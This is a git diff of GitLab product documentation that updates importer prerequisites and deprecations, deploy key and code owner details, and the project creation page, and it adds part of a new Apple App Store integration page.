100644 --- a/doc/user/project/code_owners.md +++ b/doc/user/project/code_owners.md @@ -324,7 +324,7 @@ README.md @docs A Code Owner approval rule is optional if any of these conditions are true: -- The user or group are not a member of the project or parent group. +- The user or group are not a member of the project. Code Owners [cannot inherit from parent groups](https://gitlab.com/gitlab-org/gitlab/-/issues/288851/). - [Code Owner approval on a protected branch](protected_branches.md#require-code-owner-approval-on-a-protected-branch) has not been set up. - The section is [marked as optional](#make-a-code-owners-section-optional). diff --git a/doc/user/project/deploy_keys/index.md b/doc/user/project/deploy_keys/index.md index 56bb899c233..e87c5f57fc1 100644 --- a/doc/user/project/deploy_keys/index.md +++ b/doc/user/project/deploy_keys/index.md @@ -15,7 +15,7 @@ Depending on your needs, you might want to use a [deploy token](../deploy_tokens |------------------|-------------|--------------| | Sharing | Shareable between multiple projects, even those in different groups. | Belong to a project or group. | | Source | Public SSH key generated on an external host. | Generated on your GitLab instance, and is provided to users only at creation time. | -| Validity | Valid as long as it's registered and enabled. | Can be given an expiration date. | +| Validity | Valid as long as it's registered and enabled, and the user that created it exists. | Can be given an expiration date. | | Registry access | Cannot access a package registry. | Can read from and write to a package registry. | Deploy keys can't be used for Git operations if [external authorization](../../admin_area/settings/external_authorization.md) is enabled. diff --git a/doc/user/project/import/bitbucket.md b/doc/user/project/import/bitbucket.md index 98b46650b42..29d29c12536 100644 --- a/doc/user/project/import/bitbucket.md +++ b/doc/user/project/import/bitbucket.md @@ -31,11 +31,12 @@ When importing: - Repository public access is retained. If a repository is private in Bitbucket, it's created as private in GitLab as well. -## Prerequisite for GitLab self-managed +## Prerequisites -To import your projects from Bitbucket Cloud, the [Bitbucket Cloud integration](../../../integration/bitbucket.md) -must be enabled. If it isn't enabled, ask your GitLab administrator to enable it. By default it's -enabled on GitLab.com. +- [Bitbucket Cloud integration](../../../integration/bitbucket.md) must be enabled. If that integration is not enabled, ask your GitLab administrator + to enable it. The Bitbucket Cloud integration is enabled by default on GitLab.com. +- At least the Maintainer role on the destination group to import to. Using the Developer role for this purpose was + [deprecated](https://gitlab.com/gitlab-org/gitlab/-/issues/387891) in GitLab 15.8 and will be removed in GitLab 16.0. ## How it works @@ -102,7 +103,7 @@ Bitbucket username after connecting their Bitbucket account in the To fix this, the user must verify that their Bitbucket external UID in the GitLab database matches their current Bitbucket public name, and reconnect if there's a mismatch: -1. [Use the API to get the currently authenticated user](../../../api/users.md#for-normal-users-1). +1. [Use the API to get the currently authenticated user](../../../api/users.md#for-non-administrator-users-1). 1. In the API response, the `identities` attribute contains the Bitbucket account that exists in the GitLab database. If the `extern_uid` doesn't match the current Bitbucket public name, the diff --git a/doc/user/project/import/bitbucket_server.md b/doc/user/project/import/bitbucket_server.md index d7fa1338c55..db2a1d956ab 100644 --- a/doc/user/project/import/bitbucket_server.md +++ b/doc/user/project/import/bitbucket_server.md @@ -24,10 +24,11 @@ created as private in GitLab as well. ## Import your Bitbucket repositories -Prerequisite: +Prerequisites: -- An administrator must have enabled the **Bitbucket Server** in - **Admin > Settings > General > Visibility and access controls > Import sources**. +- An administrator must enable **Bitbucket Server** in **Admin > Settings > General > Visibility and access controls > Import sources**. +- At least the Maintainer role on the destination group to import to. Using the Developer role for this purpose was + [deprecated](https://gitlab.com/gitlab-org/gitlab/-/issues/387891) in GitLab 15.8 and will be removed in GitLab 16.0. To import your Bitbucket repositories: diff --git a/doc/user/project/import/fogbugz.md b/doc/user/project/import/fogbugz.md index f6395fd9234..08ee4c70dda 100644 --- a/doc/user/project/import/fogbugz.md +++ b/doc/user/project/import/fogbugz.md @@ -14,6 +14,11 @@ The importer imports all of your cases and comments with the original case numbers and timestamps. You can also map FogBugz users to GitLab users. +Prerequisite: + +- At least the Maintainer role on the destination group to import to. Using the Developer role for this purpose was + [deprecated](https://gitlab.com/gitlab-org/gitlab/-/issues/387891) in GitLab 15.8 and will be removed in GitLab 16.0. + To import your project from FogBugz: 1. Sign in to GitLab. diff --git a/doc/user/project/import/gitea.md b/doc/user/project/import/gitea.md index 46e6b6d377d..fb64c902b38 100644 --- a/doc/user/project/import/gitea.md +++ b/doc/user/project/import/gitea.md @@ -6,11 +6,18 @@ info: To determine the technical writer assigned to the Stage/Group associated w # Import your project from Gitea to GitLab **(FREE)** +> [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/381902) in GitLab 15.8, GitLab no longer automatically creates namespaces or groups that don't exist. GitLab also no longer falls back to using the user's personal namespace if the namespace or group name is taken. + Import your projects from Gitea to GitLab with minimal effort. NOTE: This requires Gitea `v1.0.0` or later. +Prerequisite: + +- At least the Maintainer role on the destination group to import to. Using the Developer role for this purpose was + [deprecated](https://gitlab.com/gitlab-org/gitlab/-/issues/387891) in GitLab 15.8 and will be removed in GitLab 16.0. + The Gitea importer can import: - Repository description @@ -30,10 +37,6 @@ in your GitLab instance. This means the project creator (usually the user that started the import process) is set as the author. A reference, however, is kept on the issue about the original Gitea author. -The importer creates any new namespaces (groups) if they don't exist. If the -namespace is taken, the repository is imported under the user's namespace -that started the import process. - ## Import your Gitea repositories The importer page is visible when you create a new project. diff --git a/doc/user/project/import/github.md b/doc/user/project/import/github.md index c1297cbf554..da3637541d9 100644 --- a/doc/user/project/import/github.md +++ b/doc/user/project/import/github.md @@ -7,6 +7,8 @@ info: To determine the technical writer assigned to the Stage/Group associated w # Import your project from GitHub to GitLab **(FREE)** +> [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/381902) in GitLab 15.8, GitLab no longer automatically creates namespaces or groups that don't exist. GitLab also no longer falls back to using the user's personal namespace if the namespace or group name is taken. + You can import your GitHub repositories: - From either GitHub.com or GitHub Enterprise. @@ -22,6 +24,9 @@ If you are importing to a self-managed GitLab instance, you can use the [GitHub Rake task](../../../administration/raketasks/github_import.md) instead. This allows you to import projects without the constraints of a [Sidekiq](../../../development/sidekiq/index.md) worker. +NOTE: +If you are importing a project using the GitHub Rake task, GitLab still creates namespaces or groups that don't exist. + If you are importing from GitHub Enterprise to a self-managed GitLab instance: - You must first enable [GitHub integration](../../../integration/github.md). @@ -40,9 +45,7 @@ When importing projects: - If a user referenced in the project is not found in the GitLab database, the project creator is set as the author and assignee. The project creator is usually the user that initiated the import process. A note on the issue mentioning the original GitHub author is added. -- The importer creates any new namespaces (or groups) if they do not exist, or, if the namespace is taken, the - repository is imported under the namespace of the user who initiated the import process. The namespace or repository - name can also be edited, with the proper permissions. +- You can change the target namespace and target repository name before you import. - The importer also imports branches on forks of projects related to open pull requests. These branches are imported with a naming scheme similar to `GH-SHA-username/pull-request-number/fork-name/branch`. This may lead to a discrepancy in branches compared to those of the GitHub repository. @@ -54,6 +57,9 @@ For an overview of the import process, see the video [Migrating from GitHub to G ## Prerequisites +At least the Maintainer role on the destination group to import to. Using the Developer role for this purpose was +[deprecated](https://gitlab.com/gitlab-org/gitlab/-/issues/387891) in GitLab 15.8 and will be removed in GitLab 16.0. + When issues and pull requests are being imported, the importer attempts to find their GitHub authors and assignees in the database of the GitLab instance. Pull requests are called _merge requests_ in GitLab. @@ -68,6 +74,8 @@ GitLab content imports that use GitHub accounts require that the GitHub public-f all comments and contributions are properly mapped to the same user in GitLab. GitHub Enterprise does not require this field to be populated so you may have to add it on existing accounts. +See also [Branch protection rules and project settings](#branch-protection-rules-and-project-settings) for additional prerequisites for those imports. + ## Import your GitHub repository into GitLab ### Use the GitHub integration @@ -242,11 +250,15 @@ When they are imported, supported GitHub branch protection rules are mapped to e | GitHub rule | GitLab rule | Introduced in | | :---------------------------------------------------------------------------------- | :---------------------------------------------------------------------------------------------------------------------------------------------------------- | :------------------------------------------------------------------ | -| **Require conversation resolution before merging** for the project's default branch | **All threads must be resolved** [project setting](../../discussions/index.md#prevent-merge-unless-all-threads-are-resolved) | [GitLab 15.5](https://gitlab.com/gitlab-org/gitlab/-/issues/371110) | -| **Require a pull request before merging** | **No one** option in the **Allowed to push** list of [branch protection settings](../protected_branches.md#configure-a-protected-branch) | [GitLab 15.5](https://gitlab.com/gitlab-org/gitlab/-/issues/370951) | -| **Require signed commits** for the project's default branch | **Reject unsigned commits** GitLab [push rule](../repository/push_rules.md#prevent-unintended-consequences) **(PREMIUM)** | [GitLab 15.5](https://gitlab.com/gitlab-org/gitlab/-/issues/370949) | -| **Allow force pushes - Everyone** | **Allowed to force push** [branch protection setting](../protected_branches.md#allow-force-push-on-a-protected-branch) | [GitLab 15.6](https://gitlab.com/gitlab-org/gitlab/-/issues/370943) | -| **Require a pull request before merging - Require review from Code Owners** | **Require approval from code owners** [branch protection setting](../protected_branches.md#require-code-owner-approval-on-a-protected-branch) **(PREMIUM)** | [GitLab 15.6](https://gitlab.com/gitlab-org/gitlab/-/issues/376683) | +| **Require conversation resolution before merging** for the project's default branch | **All threads must be resolved** [project setting](../../discussions/index.md#prevent-merge-unless-all-threads-are-resolved) | [GitLab 15.5](https://gitlab.com/gitlab-org/gitlab/-/issues/371110) | +| **Require a pull request before merging** | **No one** option in the **Allowed to push** list of [branch protection settings](../protected_branches.md#configure-a-protected-branch) | [GitLab 15.5](https://gitlab.com/gitlab-org/gitlab/-/issues/370951) | +| **Require signed commits** for the project's default branch | **Reject unsigned commits** GitLab [push rule](../repository/push_rules.md#prevent-unintended-consequences) **(PREMIUM)** | [GitLab 15.5](https://gitlab.com/gitlab-org/gitlab/-/issues/370949) | +| **Allow force pushes - Everyone** | **Allowed to force push** [branch protection setting](../protected_branches.md#allow-force-push-on-a-protected-branch) | [GitLab 15.6](https://gitlab.com/gitlab-org/gitlab/-/issues/370943) | +| **Require a pull request before merging - Require review from Code Owners** | **Require approval from code owners** [branch protection setting](../protected_branches.md#require-code-owner-approval-on-a-protected-branch) **(PREMIUM)** | [GitLab 15.6](https://gitlab.com/gitlab-org/gitlab/-/issues/376683) | +| **Require a pull request before merging - Allow specified actors to bypass required pull requests** (1) | List of users in the **Allowed to push** list of [branch protection settings](../protected_branches.md#configure-a-protected-branch) **(PREMIUM)**. Without a Premium license, the list of users that are allowed to push is limited to roles. | [GitLab 15.8](https://gitlab.com/gitlab-org/gitlab/-/issues/384939) | + +1. To successfully import the **Require a pull request before merging - Allow specified actors to bypass required pull requests** rule, you must add to the parent group in GitLab + the users that are allowed to bypass required pull requests before you begin importing. Mapping GitHub rule **Require status checks to pass before merging** to [external status checks](../merge_requests/status_checks.md) was considered in issue diff --git a/doc/user/project/import/gitlab_com.md b/doc/user/project/import/gitlab_com.md index 795cb964423..c00709d9697 100644 --- a/doc/user/project/import/gitlab_com.md +++ b/doc/user/project/import/gitlab_com.md @@ -5,7 +5,12 @@ group: Import info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/product/ux/technical-writing/#assignments --- -# Import a project from GitLab.com to your private GitLab instance **(FREE)** +# Import a project from GitLab.com to your self-managed GitLab instance (deprecated) **(FREE)** + +WARNING: +The GitLab.com importer was [deprecated](https://gitlab.com/gitlab-org/gitlab/-/merge_requests/108502) in GitLab 15.8 +and will be removed in GitLab 16.0. To import GitLab projects from GitLab.com to a self-managed GitLab instance use +[migrating groups and projects by direct transfer](../../group/import/index.md#migrate-groups-by-direct-transfer-recommended). You can import your existing GitLab.com projects to your GitLab instance. diff --git a/doc/user/project/import/index.md b/doc/user/project/import/index.md index 208bce90453..3df6a543960 100644 --- a/doc/user/project/import/index.md +++ b/doc/user/project/import/index.md @@ -15,17 +15,22 @@ If you want to bring existing projects to GitLab or copy GitLab projects to a di - Between a self-managed instance and GitLab.com in both directions. - In the same GitLab instance. -For any type of source and target, you can migrate projects: +Prerequisite: -- As part of a [GitLab group migration](../../group/import/index.md). You can't migrate only chosen projects, - but you can migrate many projects at once within a group. +- At least the Maintainer role on the destination group to import to. Using the Developer role for this purpose was [deprecated](https://gitlab.com/gitlab-org/gitlab/-/issues/387891) in GitLab 15.8 and will be removed in GitLab 16.0. + +For any type of source and target, you can migrate GitLab projects: + +- When [migrating groups by direct transfer](../../group/import/index.md#migrate-groups-by-direct-transfer-recommended), which allows you to migrate all + projects in a group at once. Migrating projects by direct transfer is in [Beta](../../../policy/alpha-beta-support.md#beta-features). The feature is not ready + for production use. - Using [file exports](../settings/import_export.md). With this method you can migrate projects one by one. No network connection between instances is required. If you only need to migrate Git repositories, you can [import each project by URL](repo_by_url.md). However, you can't import issues and merge requests this way. To retain metadata like issues and merge requests, either: -- [Migrate projects with groups](../../group/import/index.md). +- [Migrate projects with groups by direct transfer](../../group/import/index.md#migrate-groups-by-direct-transfer-recommended). This feature is in [Beta](../../../policy/alpha-beta-support.md#beta-features). It is not ready for production use. - Use [file exports](../settings/import_export.md) to import projects. Keep in mind the limitations of [migrating using file exports](../settings/import_export.md#items-that-are-exported). @@ -45,7 +50,6 @@ You can import projects from: - [GitLab.com](gitlab_com.md) - [Gitea](gitea.md) - [Perforce](perforce.md) -- [From SVN](https://git-scm.com/book/en/v2/Git-and-Other-Systems-Git-as-a-Client) - [TFVC](tfvc.md) - [Repository by URL](repo_by_url.md) - [Uloading a manifest file (AOSP)](manifest.md) @@ -57,6 +61,13 @@ repository is too large, the import can timeout. You can then [connect your external repository to get CI/CD benefits](../../../ci/ci_cd_for_external_repos/index.md). +## Import from Subversion + +GitLab can not automatically migrate Subversion repositories to Git. Converting Subversion repositories to Git can be difficult, but several tools exist including: + +- [`git svn`](https://git-scm.com/book/en/v2/Git-and-Other-Systems-Migrating-to-Git), for very small and simple repositories. +- [`reposurgeon`](http://www.catb.org/~esr/reposurgeon/repository-editing.html), for larger and more complex repositories. + ## Migrate using the API To migrate all data from self-managed to GitLab.com, you can leverage the [API](../../../api/index.md). @@ -101,8 +112,8 @@ To view project import history: 1. Select **History** in the upper right corner. 1. If there are any errors for a particular import, you can see them by selecting **Details**. -The history also includes projects created from [built-in](../working_with_projects.md#create-a-project-from-a-built-in-template) -or [custom](../working_with_projects.md#create-a-project-from-a-built-in-template) +The history also includes projects created from [built-in](../index.md#create-a-project-from-a-built-in-template) +or [custom](../index.md#create-a-project-from-a-built-in-template) templates. GitLab uses [import repository by URL](repo_by_url.md) to create a new project from a template. diff --git a/doc/user/project/import/manifest.md b/doc/user/project/import/manifest.md index ea26613639d..c125102b0c9 100644 --- a/doc/user/project/import/manifest.md +++ b/doc/user/project/import/manifest.md @@ -17,11 +17,10 @@ repositories like the Android Open Source Project (AOSP). ## Requirements -GitLab must be using PostgreSQL for its database, since -[subgroups](../../group/subgroups/index.md) are needed for the manifest import -to work. - -Read more about the [database requirements](../../../install/requirements.md#database). +- GitLab must use PostgreSQL for its database, because [subgroups](../../group/subgroups/index.md) are needed for the manifest import + to work. Read more about the [database requirements](../../../install/requirements.md#database). +- At least the Maintainer role on the destination group to import to. Using the Developer role for this purpose was + [deprecated](https://gitlab.com/gitlab-org/gitlab/-/issues/387891) in GitLab 15.8 and will be removed in GitLab 16.0. ## Manifest format diff --git a/doc/user/project/import/phabricator.md b/doc/user/project/import/phabricator.md index 49f12ca2ba6..09e7543bc4a 100644 --- a/doc/user/project/import/phabricator.md +++ b/doc/user/project/import/phabricator.md @@ -5,11 +5,15 @@ group: Import info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/product/ux/technical-writing/#assignments --- -# Import Phabricator tasks into a GitLab project **(FREE SELF)** +# Import Phabricator tasks into a GitLab project (deprecated) **(FREE SELF)** > [Introduced](https://gitlab.com/gitlab-org/gitlab-foss/-/issues/60562) in GitLab 12.0. WARNING: +The Phabricator task importer was [deprecated](https://gitlab.com/gitlab-org/gitlab/-/merge_requests/106369) in GitLab 15.7 +and will be removed in GitLab 16.0. + +WARNING: The Phabricator task importer is in [beta](../../../policy/alpha-beta-support.md#beta-features) and is [**not** complete](https://gitlab.com/gitlab-org/gitlab/-/issues/284406). It imports diff --git a/doc/user/project/import/repo_by_url.md b/doc/user/project/import/repo_by_url.md index d6f4f862b95..93e3991ba19 100644 --- a/doc/user/project/import/repo_by_url.md +++ b/doc/user/project/import/repo_by_url.md @@ -7,6 +7,11 @@ info: To determine the technical writer assigned to the Stage/Group associated w # Import project from repository by URL **(FREE)** +Prerequisite: + +- At least the Maintainer role on the destination group to import to. Using the Developer role for this purpose was + [deprecated](https://gitlab.com/gitlab-org/gitlab/-/issues/387891) in GitLab 15.8 and will be removed in GitLab 16.0. + You can import your existing repositories by providing the Git URL: 1. In GitLab, on the top bar, select **Main menu > Projects > View all projects**. diff --git a/doc/user/project/import/svn.md b/doc/user/project/import/svn.md index 6730ef862e6..c9abc0f459d 100644 --- a/doc/user/project/import/svn.md +++ b/doc/user/project/import/svn.md @@ -1,5 +1,5 @@ --- -redirect_to: 'index.md' +redirect_to: 'index.md#import-from-subversion' remove_date: '2023-03-15' --- diff --git a/doc/user/project/index.md b/doc/user/project/index.md index 78a6e8d565f..08caa62bcb2 100644 --- a/doc/user/project/index.md +++ b/doc/user/project/index.md @@ -1,161 +1,186 @@ --- stage: Manage -group: Workspace -info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/product/ux/technical-writing/#assignments +group: Organization +info: "To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/product/ux/technical-writing/#assignments" --- -# Organize work with projects **(FREE)** - -In GitLab, you can create projects to host -your codebase. You can also use projects to track issues, plan work, -collaborate on code, and continuously build, test, and use -built-in CI/CD to deploy your app. - -Projects can be available [publicly, internally, or privately](../public_access.md). -GitLab does not limit the number of private projects you can create. - -## Project features - -Projects include the following [features](https://about.gitlab.com/features/): - -**Repositories:** - -- [Issue tracker](issues/index.md): Discuss implementations with your team. - - [Issue boards](issue_board.md): Organize and prioritize your workflow. - - [Multiple issue boards](issue_board.md#multiple-issue-boards): Create team-specific workflows (issue boards) for a project. -- [Repositories](repository/index.md): Host your code in a fully-integrated platform. - - [Branches](repository/branches/index.md): Use Git branching strategies to - collaborate on code. - - [Protected branches](protected_branches.md): Prevent collaborators - from changing history or pushing code without review. - - [Protected tags](protected_tags.md): Control who has - permission to create tags and prevent accidental updates or deletions. - - [Repository mirroring](repository/mirror/index.md) - - [Signing commits](repository/gpg_signed_commits/index.md): Use GNU Privacy Guard (GPG) to sign your commits. - - [Deploy tokens](deploy_tokens/index.md): Manage access to the repository and Container Registry. -- [Web IDE](web_ide/index.md) -- [CVE ID Requests](../application_security/cve_id_request.md): Request a CVE identifier to track a - vulnerability in your project. - -**Issues and merge requests:** - -- [Issue tracker](issues/index.md): Discuss implementations with your team. - - [Issue boards](issue_board.md): Organize and prioritize your workflow. - - [Multiple issue boards](issue_board.md#multiple-issue-boards): Create team-specific workflows (issue boards) for a project. -- [Merge requests](merge_requests/index.md): Apply a branching - strategy and get reviewed by your team. - - [Merge request approvals](merge_requests/approvals/index.md): Ask for approval before - implementing a change. - - [Fix merge conflicts from the UI](merge_requests/conflicts.md): View Git diffs from the GitLab UI. - - [Review Apps](../../ci/review_apps/index.md): By branch, preview the results - of the changes proposed in a merge request. -- [Labels](labels.md): Organize issues and merge requests by labels. -- [Time Tracking](time_tracking.md): Track time estimated and - spent on issues and merge requests. -- [Milestones](milestones/index.md): Work toward a target date. -- [Description templates](description_templates.md): Define context-specific - templates for issue and merge request description fields. -- [Slash commands (quick actions)](quick_actions.md): Create text shortcuts for - common actions. -- [Autocomplete characters](autocomplete_characters.md): Autocomplete - references to users, groups, issues, merge requests, and other GitLab - elements. -- [Web IDE](web_ide/index.md) - -**GitLab CI/CD:** - -- [GitLab CI/CD](../../ci/index.md): Use the built-in [Continuous Integration, Delivery, and Deployment](https://about.gitlab.com/blog/2016/08/05/continuous-integration-delivery-and-deployment-with-gitlab/) tool. - - [Container Registry](../packages/container_registry/index.md): Build and push Docker - images. - - [Auto Deploy](../../topics/autodevops/stages.md#auto-deploy): Configure GitLab CI/CD - to automatically set up your app's deployment. - - [Enable and disable GitLab CI/CD](../../ci/enable_or_disable_ci.md) - - [Pipelines](../../ci/pipelines/index.md): Configure and visualize - your GitLab CI/CD pipelines from the UI. - - [Scheduled Pipelines](../../ci/pipelines/schedules.md): Schedule a pipeline - to start at a chosen time. - - [Pipeline Graphs](../../ci/pipelines/index.md#visualize-pipelines): View your - pipeline from the UI. - - [Job artifacts](../../ci/pipelines/job_artifacts.md): Define, - browse, and download job artifacts. - - [Pipeline settings](../../ci/pipelines/settings.md): Set up Git strategy (how jobs fetch your repository), - timeout (the maximum amount of time a job can run), custom path for `.gitlab-ci.yml`, test coverage parsing, pipeline visibility, and more. - - [Kubernetes cluster integration](../infrastructure/clusters/index.md): Connect your GitLab project - with a Kubernetes cluster. - - [Feature Flags](../../operations/feature_flags.md): Ship different features - by dynamically toggling functionality. -- [GitLab Pages](pages/index.md): Build, test, and deploy your static - website. - -**Other features:** - -- [Wiki](wiki/index.md): Document your GitLab project in an integrated Wiki. -- [Snippets](../snippets.md): Store, share and collaborate on code snippets. -- [Value Stream Analytics](../analytics/value_stream_analytics.md): Review your development lifecycle. -- [Insights](insights/index.md): Configure the insights that matter for your projects. -- [Security Dashboard](../application_security/security_dashboard/index.md) -- [Syntax highlighting](highlighting.md): Customize - your code blocks, overriding the default language choice. -- [Badges](badges.md): Add an image to the **Project information** page. -- [Releases](releases/index.md): Take a snapshot of - the source, build output, metadata, and artifacts - associated with a released version of your code. -- [Package Registry](../packages/package_registry/index.md): Publish and install packages. -- [Code owners](code_owners.md): Specify code owners for specific files. -- [License Compliance](../compliance/license_compliance/index.md): Approve and deny licenses for projects. -- [Dependency List](../application_security/dependency_list/index.md): View project dependencies. -- [Requirements](requirements/index.md): Create criteria to check your products against. -- [Code Intelligence](code_intelligence.md): Navigate code. - -## Project integrations - -[Integrate your project](integrations/index.md) with Jira, Mattermost, -Kubernetes, Slack, and a lot more. - -## Import or export a project - -- [Import a project](import/index.md) from: - - [GitHub to GitLab](import/github.md) - - [Bitbucket to GitLab](import/bitbucket.md) - - [Gitea to GitLab](import/gitea.md) - - [FogBugz to GitLab](import/fogbugz.md) -- [Export a project from GitLab](settings/import_export.md#export-a-project-and-its-data) -- [Importing and exporting projects between GitLab instances](settings/import_export.md) - -## GitLab Workflow - VS Code extension - -To avoid switching from the GitLab UI and VS Code while working in GitLab repositories, you can integrate -the [VS Code](https://code.visualstudio.com/) editor with GitLab through the -[GitLab Workflow extension](https://marketplace.visualstudio.com/items?itemName=GitLab.gitlab-workflow). - -To review or contribute to the extension's code, visit [its codebase in GitLab](https://gitlab.com/gitlab-org/gitlab-vscode-extension/). - -## Project APIs - -There are numerous [APIs](../../api/index.md) to use with your projects: - -- [Badges](../../api/project_badges.md) -- [Clusters](../../api/project_clusters.md) -- [Threads](../../api/discussions.md) -- [General](../../api/projects.md) -- [Import/export](../../api/project_import_export.md) -- [Issue board](../../api/boards.md) -- [Labels](../../api/labels.md) -- [Markdown](../../api/markdown.md) -- [Merge requests](../../api/merge_requests.md) -- [Milestones](../../api/milestones.md) -- [Services](../../api/integrations.md) -- [Snippets](../../api/project_snippets.md) -- [Templates](../../api/project_templates.md) -- [Traffic](../../api/project_statistics.md) -- [Variables](../../api/project_level_variables.md) -- [Aliases](../../api/project_aliases.md) -- [DORA4 Analytics](../../api/dora/metrics.md) - -## DORA4 analytics overview - -Project details include the following analytics: - -- Deployment Frequency - -For more information, see [DORA4 Project Analytics API](../../api/dora/metrics.md). +# Create a project **(FREE)** + +You can create a project in many ways in GitLab. + +## Create a blank project + +To create a blank project: + +1. On the top bar, select **Main menu > Projects > View all projects**. +1. On the right of the page, select **New project**. +1. Select **Create blank project**. +1. Enter the project details: + - In the **Project name** field, enter the name of your project. You cannot use special characters at + the start or end of a project name. + - In the **Project slug** field, enter the path to your project. The GitLab instance uses the + slug as the URL path to the project. To change the slug, first enter the project name, + then change the slug. + - In the **Project deployment target (optional)** field, select your project's deployment target. + This information helps GitLab better understand its users and their deployment requirements. + - To modify the project's [viewing and access rights](../public_access.md) for + users, change the **Visibility Level**. + - To create README file so that the Git repository is initialized, has a default branch, and + can be cloned, select **Initialize repository with a README**. + - To analyze the source code in the project for known security vulnerabilities, + select **Enable Static Application Security Testing (SAST)**. +1. Select **Create project**. + +## Create a project from a built-in template + +A built-in project template populates a new project with files to get you started. +Built-in templates are sourced from the following groups: + +- [`project-templates`](https://gitlab.com/gitlab-org/project-templates) +- [`pages`](https://gitlab.com/pages) + +Anyone can [contribute a built-in template](../../development/project_templates.md). + +To create a project from a built-in template: + +1. On the top bar, select **Main menu > Projects > View all projects**. +1. On the right of the page, select **New project**. +1. Select **Create from template**. +1. Select the **Built-in** tab. +1. From the list of templates: + - To view a preview of the template, select **Preview**. + - To use a template for the project, select **Use template**. +1. Enter the project details: + - In the **Project name** field, enter the name of your project. You cannot use special characters at + the start or end of a project name. + - In the **Project slug** field, enter the path to your project. The GitLab instance uses the + slug as the URL path to the project. To change the slug, first enter the project name, + then change the slug. + - In the **Project description (optional)** field, enter the description of your project's dashboard. + - To modify the project's [viewing and access rights](../public_access.md) for users, + change the **Visibility Level**. +1. Select **Create project**. + +## Create a project from a custom template **(PREMIUM)** + +> [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/6860) in GitLab 11.2. + +Custom project templates are available at: + +- The [instance-level](../../user/admin_area/custom_project_templates.md) +- The [group-level](../../user/group/custom_project_templates.md) + +1. On the top bar, select **Main menu > Projects > View all projects**. +1. On the right of the page, select **New project**. +1. Select **Create from template**. +1. Select the **Instance** or **Group** tab. +1. From the list of templates: + - To view a preview of the template, select **Preview**. + - To use a template for the project, select **Use template**. +1. Enter the project details: + - In the **Project name** field, enter the name of your project. You cannot use special characters at + the start or end of a project name. + - In the **Project slug** field, enter the path to your project. The GitLab instance uses the + slug as the URL path to the project. To change the slug, first enter the project name, + then change the slug. + - The description of your project's dashboard in the **Project description (optional)** field. + - To modify the project's [viewing and access rights](../public_access.md) for users, + change the **Visibility Level**. +1. Select **Create project**. + +## Create a project from the HIPAA Audit Protocol template **(ULTIMATE)** + +> [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/13756) in GitLab 12.10 + +The HIPAA Audit Protocol template contains issues for audit inquiries in the +HIPAA Audit Protocol published by the U.S Department of Health and Human Services. + +To create a project from the HIPAA Audit Protocol template: + +1. On the top bar, select **Main menu > Projects > View all projects**. +1. On the right of the page, select **New project**. +1. Select **Create from template**. +1. Select the **Built-in** tab. +1. Locate the **HIPAA Audit Protocol** template: + - To view a preview of the template, select **Preview**. + - To use the template for the project, select **Use template**. +1. Enter the project details: + - In the **Project name** field, enter the name of your project. You cannot use special characters at + the start or end of a project name. + - In the **Project slug** field, enter the path to your project. The GitLab instance uses the + slug as the URL path to the project. To change the slug, first enter the project name, + then change the slug. + - In the **Project description (optional)** field, enter the description of your project's dashboard. + - To modify the project's [viewing and access rights](../public_access.md) for users, + change the **Visibility Level**. +1. Select **Create project**. + +## Create a new project with Git push + +> [Introduced](https://gitlab.com/gitlab-org/gitlab-foss/-/issues/26388) in GitLab 10.5. + +Use `git push` to push a local project repository to GitLab. After you push a repository, +GitLab creates your project in your chosen namespace. + +You cannot use `git push` to create projects with project paths that: + +- Have previously been used. +- Have been [renamed](settings/index.md#rename-a-repository). + +Previously used project paths have a redirect. The redirect causes push attempts to redirect requests +to the renamed project location, instead of creating a new project. To create a new project for a previously +used or renamed project, use the [UI](#create-a-project) or the [Projects API](../../api/projects.md#create-project). + +Prerequisites: + +- To push with SSH, you must have [an SSH key](../ssh.md) that is + [added to your GitLab account](../ssh.md#add-an-ssh-key-to-your-gitlab-account). +- You must have permission to add new projects to a namespace. To check if you have permission: + + 1. On the top bar, select **Main menu > Groups** and find your group. + 1. Confirm that **New project** is visible in the upper right + corner. Contact your GitLab + administrator if you require permission. + +To push your repository and create a project: + +1. Push with SSH or HTTPS: + - To push with SSH: + + ```shell + git push --set-upstream git@gitlab.example.com:namespace/myproject.git master + ``` + + - To push with HTTPS: + + ```shell + git push --set-upstream https://gitlab.example.com/namespace/myproject.git master + ``` + + - For `gitlab.example.com`, use the domain name of the machine that hosts your Git repository. + - For `namespace`, use the name of your [namespace](../namespace/index.md). + - For `myproject`, use the name of your project. + - Optional. To export existing repository tags, append the `--tags` flag to your `git push` command. +1. Optional. To configure the remote: + + ```shell + git remote add origin https://gitlab.example.com/namespace/myproject.git + ``` + +When the push completes, GitLab displays the message: + +```shell +remote: The private project namespace/myproject was created. +``` + +To view your new project, go to `https://gitlab.example.com/namespace/myproject`. +Your project's visibility is set to **Private** by default. To change project visibility, adjust your +[project's settings](../public_access.md#change-project-visibility). + +## Related topics + +- For a list of words that you cannot use as project names, see + [reserved project and group names](../../user/reserved_names.md). +- For a list of characters that you cannot use in project and group names, see + [limitations on project and group names](../../user/reserved_names.md#limitations-on-project-and-group-names). +- [Manage projects](working_with_projects.md). diff --git a/doc/user/project/integrations/apple_app_store.md b/doc/user/project/integrations/apple_app_store.md new file mode 100644 index 00000000000..62b25bf8191 --- /dev/null +++ b/doc/user/project/integrations/apple_app_store.md @@ -0,0 +1,59 @@ +--- +stage: Manage +group: Integrations +info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/product/ux/technical-writing/#assignments +--- + +# Apple App Store integration **(FREE)** + +> [Introduced](https://gitlab.com/gitlab-org/gitlab/-/merge_requests/104888) in GitLab 15.8 [with a flag](../../../administration/feature_flags.md) named `apple_app_store_integration`. Disabled by default. + +FLAG: +On self-managed GitLab, by default this feature is not available. To make it available, ask an administrator to [enable the feature flag](../../../administration/feature_flags.md) named `apple_app_store_integration`. On GitLab.com, this feature is not available. + +The Apple App Store integration makes it easy to configure your CI/CD pipelines to connect to [App Store Connect](https://appstoreconnect.apple.com) to build and release apps for iOS, iPadOS, macOS, tvOS, and watchOS. + +The integration is designed to be able to work out of the box with [fastlane](http://fastlane.tools/), but can be 